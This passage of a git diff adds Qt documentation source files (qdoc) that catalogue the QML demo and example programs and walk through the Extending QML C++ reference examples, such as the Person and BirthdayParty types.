+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Calculator
+ \example demos/declarative/calculator
+ \depends helper/qmlapplicationviewer
+
+ \brief The Qt Quick Calculator demo shows how to write a simple calculator application in QML and JavaScript.
+
+ \image qml-calculator-example.png
+*/
diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
new file mode 100644
index 00000000..4edfc286
--- /dev/null
+++ b/doc/src/examples/qml-examples.qdoc
@@ -0,0 +1,939 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \title Animation: Basics Example
+ \example declarative/animation/basics/color-animation
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create and combine \l{QML Animation}{animations} in QML.
+
+ \table
+ \row
+ \o \image qml-coloranim-example.png
+ \row
+ \o color-animation.qml
+ \endtable
+*/
+
+/*!
+ \title Animation: Basics Property Animation Example
+ \example declarative/animation/basics/property-animation
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create and combine \l{QML Animation}{animations} in QML.
+
+ \table
+ \row
+ \o \image qml-propertyanim-example.png
+ \row
+ \o property-animation.qml
+ \endtable
+*/
+
+/*!
+ \title Animation: Behavior Example
+ \example declarative/animation/behaviors/behavior-example
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use QML behaviors.
+
+ \image qml-behaviors-example.png
+*/
+
+/*!
+ \title Animation: Wiggly Text Example
+ \example declarative/animation/behaviors/wigglytext
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to animate text.
+
+*/
+
+/*!
+ \title Animation: Easing Example
+ \example declarative/animation/easing
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows the different easing modes available for \l{QML Animation}{animations}.
+
+ \image qml-easing-example.png
+*/
+
+/*!
+ \title Animation: States Example
+ \example declarative/animation/states
+
+ \brief These examples show how to use states and transitions.
+
+ \depends helper/qmlapplicationviewer
+
+ The \c states.qml example shows how an item can change between states, and \c transitions.qml
+ shows how these state changes can be animated.
+
+ \note Due to deployment configurations transitions.qml is opened by default when running this example.
+ states.qml can be opened by editing the main.cpp file.
+
+ \table
+ \row
+ \o \image qml-states-example.png
+ \row
+ \o states.qml
+ \endtable
+
+ \table
+ \row
+ \o \image qml-transitions-example.png
+ \row
+ \o transitions.qml
+ \endtable
+*/
+
+/*!
+ \title Image Elements: Border Image Example
+ \example declarative/imageelements/borderimage
+
+ \brief These examples show how to use the BorderImage element.
+
+ \depends helper/qmlapplicationviewer
+
+ \table
+ \row
+ \o \image qml-borderimage-example.png
+ \row
+ \o borderimage.qml
+ \endtable
+*/
+
+/*!
+ \title Image Elements: Shadows Image Example
+ \example declarative/imageelements/shadows
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the BorderImage element.
+
+ \table
+ \row
+ \o \image qml-borderimage-shadows-example.png
+ \row
+ \o shadows.qml
+ \endtable
+*/
+
+/*!
+ \title Image Elements: Image Example
+ \example declarative/imageelements/image
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the \l Image element and its \l{Image::fillMode}{fillModes}.
+
+
+ \image qml-image-example.png
+*/
+
+/*!
+ \page declarative-cppextensions-reference.html
+ \title C++ Extensions: Reference examples
+
+ \brief These examples show how QML can be extended from C++ in various ways.
+
+ The code for these examples is used throughout the \l {Extending QML Functionalities using C++} reference
+ documentation, which highlights the main principles demonstrated in each example.
+
+ Furthermore, here are additional pages that discuss each example in detail:
+
+ \list
+ \o \l {declarative/cppextensions/referenceexamples/adding}{Adding Types}
+ \o \l {declarative/cppextensions/referenceexamples/properties}{Object and List Property Types}
+ \o \l {declarative/cppextensions/referenceexamples/coercion}{Inheritance and Coercion}
+ \o \l {declarative/cppextensions/referenceexamples/default}{Default Property}
+ \o \l {declarative/cppextensions/referenceexamples/grouped}{Grouped Properties}
+ \o \l {declarative/cppextensions/referenceexamples/attached}{Attached Properties}
+ \o \l {declarative/cppextensions/referenceexamples/signal}{Signal Support}
+ \o \l {declarative/cppextensions/referenceexamples/methods}{Methods Support}
+ \o \l {declarative/cppextensions/referenceexamples/valuesource}{Property Value Source}
+ \o \l {declarative/cppextensions/referenceexamples/binding}{Binding}
+ \endlist
+
+ \note These examples all print information to the console to demonstrate the concepts presented.
+ Ensure that you are able to view the application output when running these examples.
+ For example, the dbgView tool on Windows can be used to display application output.
+*/
+
+/*!
+ \title C++ Extensions: Plugins Example
+ \example declarative/cppextensions/plugins
+
+ \brief This example shows how to create a C++ plugin extension by subclassing QDeclarativeExtensionPlugin.
+
+ \image qml-plugins-example.png
+*/
+
+/*!
+ \title LayoutItem Example
+ \example declarative/cppextensions/qgraphicslayouts/layoutitem
+
+ \brief This example show how to use the LayoutItem element to integrate QML items into an existing
+ \l{Graphics View Framework}{Graphics View}-based application.
+
+ \image qml-layoutitem-example.png
+*/
+/*!
+ \title QGraphicsGridLayout Example
+ \example declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout
+
+ \brief This example shows how to use QGraphicsGridLayout to lay out QML items. This is
+ useful if you need to integrate Qt \l{Graphics View Framework}{Graphics View} layouts with
+ QML.
+
+ \image qml-qgraphicsgridlayout-example.png
+*/
+/*!
+ \title QGraphicsLinearLayout Example
+ \example declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout
+
+ \brief This example shows how to use QGraphicsLinearLayout to lay out QML items. This is
+ useful if you need to integrate Qt \l{Graphics View Framework}{Graphics View} layouts with
+ QML.
+
+ \image qml-qgraphicslinearlayout-example.png
+*/
+/*!
+ \title C++ Extensions: QGraphicsLayouts examples
+ \page declarative-cppextensions-qgraphicslayouts.html
+
+ \brief These examples show how to integrate \l{Graphics View Framework}{Graphics View}
+ layout components with QML:
+
+ \list
+ \o \l{declarative/cppextensions/qgraphicslayouts/layoutitem}{LayoutItem}
+ \o \l{declarative/cppextensions/qgraphicslayouts/qgraphicsgridlayout}{QGraphicsGridLayout}
+ \o \l{declarative/cppextensions/qgraphicslayouts/qgraphicslinearlayout}{QGraphicsLinearLayout}
+ \endlist
+
+ Also see \l {Integrating QML Code with Existing Qt UI Code} for information on using QML
+ in Qt applications that use the Graphics View framework or ordinary QWidget-based views.
+*/
+
+/*!
+ \title C++ Extensions: QWidgets Example
+ \example declarative/cppextensions/qwidgets
+
+ \brief This example shows how to embed QWidget-based objects into QML using QGraphicsProxyWidget.
+
+ \image qml-qwidgets-example.png
+*/
+
+/*!
+ \title C++ Extensions: Image Provider Example
+ \example declarative/cppextensions/imageprovider
+
+ \brief This examples shows how to use QDeclarativeImageProvider to serve images
+ to QML image elements.
+
+ \image qml-imageprovider-example.png
+*/
+
+/*!
+ \title C++ Extensions: Network Access Manager Factory Example
+ \example declarative/cppextensions/networkaccessmanagerfactory
+
+ \brief This example shows how to use QDeclarativeNetworkAccessManagerFactory to create a QNetworkAccessManager
+ with a proxy.
+*/
+
+/*!
+ \title Internationalization Example
+ \example declarative/i18n
+ \ingroup internationalization
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to enable text translation in QML.
+
+ \image qml-i18n-example.png
+
+ \section1 Introduction
+
+ The QML runtime automatically loads a translation from the i18n subdirectory
+ of the root QML file, based on the system language. The translations are
+ held in QM files that must be generated from TS files.
+
+ \section1 Updating Translations
+
+ The \c{.ts} files are created and updated by running:
+
+ \code
+ lupdate i18n.qml -ts i18n/base.ts
+ \endcode
+
+ If no translation file exists, one will be created. If a file already exists,
+ it will be updated to contain the latest strings from the QML file.
+
+ Translations for new languages are created by copying \c{i18n/base.ts} to
+ \c{i18n/qml_<lang>.ts} The TS files can then be edited with
+ \l{Qt Linguist Manual}{Qt Linguist}:
+
+ \code
+ linguist i18n/qml_fr.ts
+ \endcode
+
+ The run-time translation files are then generated by running:
+
+ \code
+ lrelease i18n/*.ts
+ \endcode
+*/
+
+/*!
+ \title Right-to-left User Interfaces: Text Alignment Example
+ \example declarative/righttoleft/textalignment
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how the horizontal alignment of \l Text,
+ \l TextInput and \l TextEdit is affected by the reading direction
+ of the text and by the layout mirrroring.
+
+ Click on the gray buttons
+ shown at the bottom of the example to toggle between different
+ horizontal alignment options.
+
+ \sa {QML Right-to-left User Interfaces}
+*/
+
+/*!
+ \title Right-to-left User Interfaces: Layout Direction Example
+ \example declarative/righttoleft/layoutdirection
+ \depends helper/qmlapplicationviewer
+
+ \ brief This example shows how to control the horizontal layout direction of
+ \l Row, \l Grid and \l Flow positioners, and \l ListView and \l GridView
+ model views.
+
+ Click on the gray buttons shown at the bottom of the example
+ to toggle the layout direction of the shown elements.
+
+ \image qml-righttoleft-layoutdirection-example.png
+
+ \sa {QML Right-to-left User Interfaces}
+*/
+
+
+/*!
+ \title Right-to-left User Interfaces: Layout Mirroring Example
+ \example declarative/righttoleft/layoutmirroring
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to mirror the application layouts
+ using \l LayoutMirroring attached property.
+
+ Click on the grey button shown at the bottom of the example to
+ enable or disable the layout mirroring.
+
+ \image qml-righttoleft-layoutmirroring-example.png
+
+ \sa {QML Right-to-left User Interfaces}
+*/
+
+/*!
+ \title Positioners Example
+ \example declarative/positioners
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use positioner elements such as \l Row, \l Column,
+ \l Grid and \l Flow.
+
+ \image qml-positioners-example.png
+*/
+
+/*!
+ \title Key Interaction: Focus Example
+ \example declarative/keyinteraction/focus
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to handle keyboard input and focus in QML.
+
+ \image qml-focus-example.png
+*/
+
+/*!
+ \title Models and Views: AbstractItemModel Example
+ \example declarative/modelviews/abstractitemmodel
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use a QAbstractItemModel subclass as a model in QML.
+
+ \image qml-abstractitemmodel-example.png
+*/
+
+/*!
+ \title Models and Views: GridView Example
+ \example declarative/modelviews/gridview
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the GridView element.
+
+ \image qml-gridview-example.png
+*/
+
+/*!
+ \title Models and Views: ListView Examples
+ \page qml-listview-examples.html
+
+ \list
+ \o \l {Models and Views: Dynamic List ListView Example}
+ \o \l {Models and Views: Expanding Delegate ListView Example}
+ \o \l {Models and Views: Highlight ListView Example}
+ \o \l {Models and Views: Highlight Ranges ListView Example}
+ \o \l {Models and Views: Sections ListView Example}
+ \endlist
+
+*/
+
+/*!
+ \title Models and Views: Dynamic List ListView Example
+ \example declarative/modelviews/listview/dynamiclist
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how items can be dynamically added to
+ and removed from a ListModel, and how these list
+ modifications can be animated.
+
+ \table
+ \row
+ \o \image qml-listview-dynamiclist-example.png
+ \row
+ \o dynamiclist.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Expanding Delegate ListView Example
+ \example declarative/modelviews/listview/expandingdelegates
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a dynamic delegate, which
+ expands when selected.
+
+ \table
+ \row
+ \o \image qml-listview-expandingdelegates-example.png
+ \row
+ \o expandingdelegates.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Highlight ListView Example
+ \example declarative/modelviews/listview/highlight
+ \depends helper/qmlapplicationviewer
+
+
+ \brief This example shows how to highlight one item
+ inside a ListView element.
+
+ \table
+ \row
+ \o \image qml-listview-highlight-example.png
+ \row
+ \o highlight.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Highlight Ranges ListView Example
+ \example declarative/modelviews/listview/highlightranges
+ \depends helper/qmlapplicationviewer
+
+
+ \brief This example shows how to highlight ranges within a
+ ListView element.
+
+ \table
+ \row
+ \o \image qml-listview-highlightranges-example.png
+ \row
+ \o highlightranges.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Sections ListView Example
+ \example declarative/modelviews/listview/sections
+ \depends helper/qmlapplicationviewer
+
+
+ \brief This example shows how to use the ListView element.
+
+ \table
+ \row
+ \o \image qml-listview-sections-example.png
+ \row
+ \o sections.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: PathView Example
+ \example declarative/modelviews/pathview
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the PathView element.
+
+ \image qml-pathview-example.png
+*/
+
+/*!
+ \title Models and Views: Object ListModel Example
+ \example declarative/modelviews/objectlistmodel
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use a QList<QObject*> as a model in QML.
+
+ \image qml-objectlistmodel-example.png
+*/
+
+/*!
+ \title Models and Views: Package Example
+ \example declarative/modelviews/package
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the \l Package element.
+
+ \image qml-package-example.png
+*/
+
+/*!
+ \title Models and Views: Parallax Example
+ \example declarative/modelviews/parallax
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to combine and switch between views.
+
+ \image qml-parallax-example.png
+*/
+
+/*!
+ \title Models and Views: String ListModel Example
+ \example declarative/modelviews/stringlistmodel
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use a QStringList as a model in QML.
+
+ \image qml-stringlistmodel-example.png
+*/
+
+/*!
+ \title Models and Views: VisualItemModel Example
+ \example declarative/modelviews/visualitemmodel
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the VisualItemModel element.
+
+ \image qml-visualitemmodel-example.png
+*/
+
+/*!
+ \title Models and Views: WebView Examples
+ \page qml-webview-examples.html
+
+ \brief These examples show how to use the WebView element.
+
+ \list
+ \o \l {Models and Views: Alert WebView Example}
+ \o \l {Models and Views: Autosize WebView Example}
+ \o \l {Models and Views: GoogleMaps WebView Example}
+ \o \l {Models and Views: Inline HTML WebView Example}
+ \o \l {Models and Views: New Windows WebView Example}
+ \endlist
+
+
+*/
+/*!
+ \title Models and Views: Alert WebView Example
+ \example declarative/modelviews/webview/alerts
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create an alert in the WebView element.
+
+ \table
+ \row
+ \o \image qml-webview-alert-example.png
+ \row
+ \o alert.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Autosize WebView Example
+ \example declarative/modelviews/webview/autosize
+ \depends helper/qmlapplicationviewer
+
+ \brief This example show how to use autosizing in the WebView element.
+
+ \table
+ \row
+ \o \image qml-webview-autosize-example.png
+ \row
+ \o autosize.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: GoogleMaps WebView Example
+ \example declarative/modelviews/webview/googlemaps
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use a web service API and the WebView element.
+
+ \table
+ \row
+ \o \image qml-webview-googlemaps-example.png
+ \row
+ \o googlemaps.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: Inline HTML WebView Example
+ \example declarative/modelviews/webview/inlinehtml
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use inline HTML with the WebView element.
+
+ \table
+ \row
+ \o \image qml-webview-inlinehtml-example.png
+ \row
+ \o inlinehtml.qml
+ \endtable
+*/
+
+/*!
+ \title Models and Views: New Windows WebView Example
+ \example declarative/modelviews/webview/newwindows
+ \depends helper/qmlapplicationviewer
+
+ \brief These examples show how to create new windows in the WebView element.
+
+ \table
+ \row
+ \o \image qml-webview-newwindows-example.png
+ \row
+ \o newwindows.qml
+ \endtable
+*/
+
+/*!
+ \title Screen Orientation
+ \example declarative/screenorientation
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to implement screen orientation support for your application.
+*/
+
+/*!
+ \title SQL Local Storage Example
+ \example declarative/sqllocalstorage
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the SQL Local Storage API in QML.
+*/
+
+/*!
+ \title Text: Fonts Example
+ \example declarative/text/fonts
+ \depends helper/qmlapplicationviewer
+
+ \brief These examples show how to discover available fonts from QML.
+
+ \table
+ \row
+ \o \image qml-fonts-availableFonts-example.png
+ \row
+ \o availableFonts.qml
+ \endtable
+*/
+
+/*!
+ \title Text: Banner Fonts Example
+ \example declarative/text/fonts/banner
+ \depends helper/qmlapplicationviewer
+
+ \brief These example shows how to manipulate text in various ways.
+
+ \table
+ \row
+ \o \image qml-fonts-banner-example.png
+ \row
+ \o banner.qml
+ \endtable
+*/
+
+/*!
+ \title Text: Fonts Example
+ \example declarative/text/fonts/fonts
+ \depends helper/qmlapplicationviewer
+
+ \brief These examples shows how to display a text with multiple fonts.
+
+ \table
+ \row
+ \o \image qml-fonts-fonts-example.png
+ \row
+ \o fonts.qml
+ \endtable
+*/
+
+/*!
+ \title Text: Hello Fonts Example
+ \example declarative/text/fonts/hello
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to manipulate text in various ways.
+
+ \table
+ \row
+ \o \image qml-fonts-hello-example.png
+ \row
+ \o hello.qml
+ \endtable
+*/
+
+/*!
+ \title Text: Text Selection Example
+ \example declarative/text/textselection
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how text selection, copy and paste operations
+ can be implemented on top of the TextEdit element.
+
+ \image qml-textselection-example.png
+*/
+
+/*!
+ \title Threading: Threaded ListModel Example
+ \example declarative/threading/threadedlistmodel
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use a ListModel from multiple threads using
+ WorkerScript.
+*/
+
+/*!
+ \title Threading: WorkerScript Example
+ \example declarative/threading/workerscript
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the WorkerScript element for threading in QML.
+*/
+
+/*!
+ \title Toys: Clocks Example
+ \example declarative/toys/clocks
+ \depends helper/qmlapplicationviewer
+
+ \brief This example displays a set of clocks with different times for different cities.
+
+ Each clock is created by combining \l Image elements with \l Rotation transforms
+ and \l SpringAnimation behaviors.
+
+ \image qml-clocks-example.png
+*/
+
+/*!
+ \title Toys: Corkboards Example
+ \example declarative/toys/corkboards
+ \depends helper/qmlapplicationviewer
+
+ \brief This example presents a flickable set of interactive corkboards. It is created
+ through a combination of elements like \l ListModel, \l Repeater and \l TextEdit
+ together with rotation and scaling transforms, animation and mouse interaction.
+
+ \image qml-corkboards-example.png
+*/
+
+/*!
+ \title Toys: Dynamic Scene Example
+ \example declarative/toys/dynamicscene
+ \depends helper/qmlapplicationviewer
+
+ \brief This example presents an interactive drag-and-drop scene. It demonstrates
+ how to use QML's \l{Dynamic Object Creation} support to dynamically create and
+ destroy objects.
+
+ \image qml-dynamicscene-example.png
+*/
+
+/*!
+ \title Toys: Tic-Tac-Toe Example
+ \example declarative/toys/tic-tac-toe
+ \depends helper/qmlapplicationviewer
+
+ \brief This example presents a simple implementation of Tic Tac Toe.
+
+ \image qml-tic-tac-toe-example.png
+*/
+
+/*!
+ \title Toys: TV Tennis Example
+ \example declarative/toys/tvtennis
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use animation components such as \l SpringAnimation,
+ \l SequentialAnimation and \l PropertyAction to create a game of TV tennis.
+
+ \image qml-tvtennis-example.png
+*/
+
+/*!
+ \title Touch Interaction: Gestures Example
+ \example declarative/touchinteraction/gestures
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the GestureArea element.
+*/
+
+/*!
+ \title Touch Interaction: MouseArea Example
+ \example declarative/touchinteraction/mousearea
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the MouseArea element to access information
+ about mouse input.
+
+ \image qml-mousearea-example.png
+*/
+
+/*!
+ \title UI Components: Dial Control Example
+ \example declarative/ui-components/dialcontrol
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a dial-type control. It combines
+ \l Image elements with \l Rotation transforms and \l SpringAnimation behaviors
+ to produce an interactive speedometer-type dial.
+
+ \image qml-dialcontrol-example.png
+*/
+
+
+/*!
+ \title UI Components: Flipable Example
+ \example declarative/ui-components/flipable
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the \l Flipable element.
+
+ \image qml-flipable-example.png
+*/
+
+/*!
+ \title UI Components: Progress Bars Example
+ \example declarative/ui-components/progressbar
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a progress bar.
+
+ \image qml-progressbar-example.png
+*/
+
+/*!
+ \title UI Components: Scroll Bar Example
+ \example declarative/ui-components/scrollbar
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create scroll bars for a \l Flickable element
+ using the \l {Flickable::visibleArea.xPosition}{Flickable::visibleArea}
+ properties.
+
+ \image qml-scrollbar-example.png
+*/
+
+/*!
+ \title UI Components: Search Box Example
+ \example declarative/ui-components/searchbox
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to combine TextInput, FocusScope and BorderImage
+ elements to display multiple text input fields.
+
+ \image qml-searchbox-example.png
+*/
+
+/*!
+ \title UI Components: Slide Switch Example
+ \example declarative/ui-components/slideswitch
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a slide switch control.
+
+ \image qml-slideswitch-example.png
+*/
+
+/*!
+ \title UI Components: Spinner Example
+ \example declarative/ui-components/spinner
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a spinner-type component using the PathView element.
+
+ \image qml-spinner-example.png
+*/
+
+/*!
+ \title UI Components: Tab Widget Example
+ \example declarative/ui-components/tabwidget
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create a tab widget. It also demonstrates how
+ \l {Property aliases}{property aliases} and
+ \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
+ assemble the child items declared within an \l Item.
+
+ \image qml-tabwidget-example.png
+*/
+
+/*!
+ \title XML: XMLHttpRequest Example
+ \example declarative/xml/xmlhttprequest
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to use the \l XmlHttpRequest API in QML.
+
+ \image qml-xmlhttprequest-example.png
+*/
+
+/*!
+ \title Labs: Shader Effects
+ \example declarative/shadereffects
+ \depends helper/qmlapplicationviewer
+
+ \brief This example shows how to create visual effects by using OpenGL shading language together with QML using \l ShaderEffectItem and \l ShaderEffectSource APIs.
+
+ \image qml-shadereffects-example.png
+*/
+
diff --git a/doc/src/examples/qml-extending.qdoc b/doc/src/examples/qml-extending.qdoc
new file mode 100644
index 00000000..fdf4f55e
--- /dev/null
+++ b/doc/src/examples/qml-extending.qdoc
@@ -0,0 +1,303 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\example declarative/cppextensions/referenceexamples/adding
+\title Extending QML - Adding Types Example
+
+\brief The Adding Types Example shows how to add a new element type, \c Person, to QML.
+
+The \c Person type can be used from QML like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/adding/example.qml 0
+
+\section1 Declare the Person class
+
+All QML elements map to C++ types. Here we declare a basic C++ Person class
+with the two properties we want accessible on the QML type - name and shoeSize.
+Although in this example we use the same name for the C++ class as the QML
+element, the C++ class can be named differently, or appear in a namespace.
+
+\snippet examples/declarative/cppextensions/referenceexamples/adding/person.h 0
+
+\section1 Define the Person class
+
+\snippet examples/declarative/cppextensions/referenceexamples/adding/person.cpp 0
+
+The Person class implementation is quite basic. The property accessors simply
+return members of the object instance.
+
+The \c main.cpp file also calls the \c qmlRegisterType() function to
+register the \c Person type with QML as a type in the People library version 1.0,
+and defines the mapping between the C++ and QML class names.
+
+\section1 Running the example
+
+The main.cpp file in the example includes a simple shell application that
+loads and runs the QML snippet shown at the beginning of this page.
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/properties
+\title Extending QML - Object and List Property Types Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+The Object and List Property Types example shows how to add object and list
+properties in QML. This example adds a BirthdayParty element that specifies
+a birthday party, consisting of a celebrant and a list of guests. People are
+specified using the People QML type built in the previous example.
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
+
+\section1 Declare the BirthdayParty
+
+The BirthdayParty class is declared like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 0
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 3
+
+The class contains a member to store the celebrant object, and also a
+QList<Person *> member.
+
+In QML, the type of a list properties - and the guests property is a list of
+people - are all of type QDeclarativeListProperty<T>. QDeclarativeListProperty is simple value
+type that contains a set of function pointers. QML calls these function
+pointers whenever it needs to read from, write to or otherwise interact with
+the list. In addition to concrete lists like the people list used in this
+example, the use of QDeclarativeListProperty allows for "virtual lists" and other advanced
+scenarios.
+
+\section2 Define the BirthdayParty
+
+The implementation of BirthdayParty property accessors is straight forward.
+
+\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.cpp 0
+
+\section1 Running the example
+
+The main.cpp file in the example includes a simple shell application that
+loads and runs the QML snippet shown at the beginning of this page.
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/coercion
+\title Extending QML - Inheritance and Coercion Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+The Inheritance and Coercion Example shows how to use base classes to assign
+elements of more than one type to a property. It specializes the Person element
+developed in the previous examples into two elements - a \c Boy and a \c Girl.
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0
+
+\section1 Declare Boy and Girl
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/person.h 0
+
+The Person class remains unaltered in this example and the Boy and Girl C++
+classes are trivial extensions of it. As an example, the inheritance used here
+is a little contrived, but in real applications it is likely that the two
+extensions would add additional properties or modify the Person classes
+behavior.
+
+\section2 Define People as a base class
+
+The implementation of the People class itself has not changed since the the
+previous example. However, as we have repurposed the People class as a common
+base for Boy and Girl, we want to prevent it from being instantiated from QML
+directly - an explicit Boy or Girl should be instantiated instead.
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/main.cpp 0
+
+While we want to disallow instantiating Person from within QML, it still needs
+to be registered with the QML engine, so that it can be used as a property type
+and other types can be coerced to it.
+
+\section2 Define Boy and Girl
+
+The implementation of Boy and Girl are trivial.
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/person.cpp 1
+
+All that is necessary is to implement the constructor, and to register the types
+and their QML name with the QML engine.
+
+\section1 Running the example
+
+The BirthdayParty element has not changed since the previous example. The
+celebrant and guests property still use the People type.
+
+\snippet examples/declarative/cppextensions/referenceexamples/coercion/birthdayparty.h 0
+
+However, as all three types, Person, Boy and Girl, have been registered with the
+QML system, on assignment QML automatically (and type-safely) converts the Boy
+and Girl objects into a Person.
+
+The main.cpp file in the example includes a simple shell application that
+loads and runs the QML snippet shown at the beginning of this page.
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/default
+\title Extending QML - Default Property Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+The Default Property Example is a minor modification of the
+\l {Extending QML - Inheritance and Coercion Example} that simplifies the
+specification of a BirthdayParty through the use of a default property.
+
+\snippet examples/declarative/cppextensions/referenceexamples/default/example.qml 0
+
+\section1 Declaring the BirthdayParty class
+
+The only difference between this example and the last, is the addition of the
+\c DefaultProperty class info annotation.
+
+\snippet examples/declarative/cppextensions/referenceexamples/default/birthdayparty.h 0
+
+The default property specifies the property to assign to whenever an explicit
+property is not specified, in the case of the BirthdayParty element the guest
+property. It is purely a syntactic simplification, the behavior is identical
+to specifying the property by name, but it can add a more natural feel in many
+situations. The default property must be either an object or list property.
+
+\section1 Running the example
+
+The main.cpp file in the example includes a simple shell application that
+loads and runs the QML snippet shown at the beginning of this page.
+*/
+
+/*!
+\example declarative/cppextensions/referenceexamples/grouped
+\title Extending QML - Grouped Properties Example
+
+This example builds on:
+\list
+\o \l {Extending QML - Default Property Example}
+\o \l {Extending QML - Inheritance and Coercion Example}
+\o \l {Extending QML - Object and List Property Types Example}
+\o \l {Extending QML - Adding Types Example}
+\endlist
+
+*/
+
+/*!
